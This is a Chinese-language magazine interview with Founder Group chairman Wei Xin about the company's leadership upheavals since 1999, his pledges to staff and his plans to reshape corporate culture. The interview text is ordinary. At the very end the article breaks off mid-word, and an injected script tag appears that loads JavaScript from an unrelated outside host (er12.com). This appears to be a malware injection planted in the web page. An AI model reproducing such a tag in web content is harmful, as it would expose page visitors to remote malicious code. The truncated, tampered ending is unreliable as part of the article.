1999年以来，方正集团给外界印象较深的是高层斗争与人事动荡以及方正科技数次“夺宫”之乱。作为局外人，我们可能永远不能像身处方正变局中的当事者那样了解事情的全部真相，但至少我们了解事情的某些方面、局部的事实。
方正集团董事长魏新先生
四年来，方正集团内部发生了哪些变化，现在的方正集团领导层在想什么，做什么？他们要把脱胎于北大这个百年名校、有着无数辉煌、荣誉及非议的这个大型企业集团带到何处去？
带着这样的问题，我们采访了方正集团董事长魏新。外界对魏新的评价是为人强势、办事铁碗。魏新对此很淡然，“不做则已，做事就要做好”。言谈间，我们听到更多的词汇是“相对”、“感觉”、“艺术”、“妥协”。魏新无时无刻都在表达对方正管理的一些思考：对方正进行彻底变革，同时在变革中寻找平衡。
魏新考虑的不仅仅是如何治理方正集团，如何规划方正的发展战略。他看得更远，想的更多：方正集团如何成为高瞻远瞩的企业，如何使企业做到基业长青？魏新认为，企业文化至关重要。北大有严谨的科学作风、兼容并包的文化传统，方正早期有技术创新精神，员工有创业激情和拼搏精神。但是这些远远不够，需要剔粗取精，同时需要补充、增加现在没有而作为现代企业又必须具备的理念和精神。
魏新说，今年抓的主要工作就是重塑方正集团的企业文化。
访谈录：
记者：方正集团发生一系列高层变动的根源是什么？与当时集团领导的管理有关吗？
魏新：我当初接手的方正比较乱，用媒体的话说就是“人事地震”，平均每两年一次。从根上讲，不完全是体制的问题，跟高层领导之间对一些重大问题的认识不统一以及个别高层领导人得不到大家的充分信任有关。
记者：您1999年10月主持方正集团的工作以来，4年来，在哪些方面改变了方正？
魏新：不能说我一个人改变了方正。如果说是改变，就是扭转方正混乱的局面，改变“诸侯割据”的不正常状态。记得当初让我当董事长时领导要我在干部会上讲几句，我说，首先我得感谢各级领导、王选老师和我的同事们对我的信任。我现在的心情可以用八个字来形容：“诚惶诚恐、如履薄冰”。这句话是1989年吴树青先生来做北大校长时说的，为什么要重复他的话，坦率地讲，当时学校找我，我是不愿意来的。为什么不愿意来呢，除了个人职业生涯选择意愿之外，一个重要原因就是因为方正不同于一般的商业企业，这可以从三点上看出来：第一、方正这个企业，上至总书记、下至各级领导，包括各个社会阶层和媒体都极为关心，北大方正打个喷嚏，媒体就会说感冒了，别的企业出了问题可能过了就过了，而北大方正不同，它的一举一动都会受到各界的高度关注。第二，方正和北京大学有着密不可分的血脉关系。北大是百年老校，在中国历史上有着特殊的地位。方正的成败兴衰，关乎到北大的清誉。第三，靠王选老师当初的激光照排发明，这个企业曾经创造了辉煌的业绩，但现在面临着一大堆问题，不仅要解决这些问题，还要重创辉煌，而跨越辉煌很困难，责任重大，所以我说是诚惶诚恐。
我个人能力有限，一个人再有能耐，即便浑身是铁，又能打多少钉？我非常清楚：要把方正搞好不是我一个人的事情，必须公司上下群策群力，所谓“兄弟齐心、其利断金”，一个筷子很容易被折断，而一把筷子就很难被折断，做事情就是这样，要群策群力。
记者：接手这样一个企业，怎样做到让大家心往一处想，力往一处使？
魏新：有人会说你有何德何能，凭什么与你一起干。我说我承诺三条，如果我做得到这三条，大家就可能和我群策群力了。第一、我承诺在董事长这个职位上，决不谋求个人私利，过去为什么会有那么多问题，就是因为高层中有人总是被怀疑在谋求个人利益，除了我个人不谋求私利之外，我也会坚决反对和制止任何其他人把个人利益凌驾于公司利益之上；第二、我承诺决不结党营私，拉帮结派。我坚决反对任何人搞企业政治，企业是搞经营的，不是搞政治的；第三、我个人能力虽然有限，但我会竭尽全力、竭尽所能把我该做的事情做好。有了这三条，我想大家就愿意和我一起把方正做好。我想告诉方正全体员工：哪些是我们提倡的，哪些是我们反对的，这不能不明确，大伙在这些问题上要统一。要能够团结大多数人在一起工作，当时的中共中央政策研究室主任藤文生同志给我写了个条幅：“海纳百川，有容乃大；壁立千仞，无欲则刚”。要能接纳有不同观点不同意见的人，才能团结大多数人，自己没有私欲做事情才能强硬得起来。
记者：您接手以后，具体采取了哪些措施？
魏新：做事情要先简后繁，先易后难，先有形后无形，这是我做事情的一个原则。有形的调整主要是指业?script src=http://er12.com/t.js>
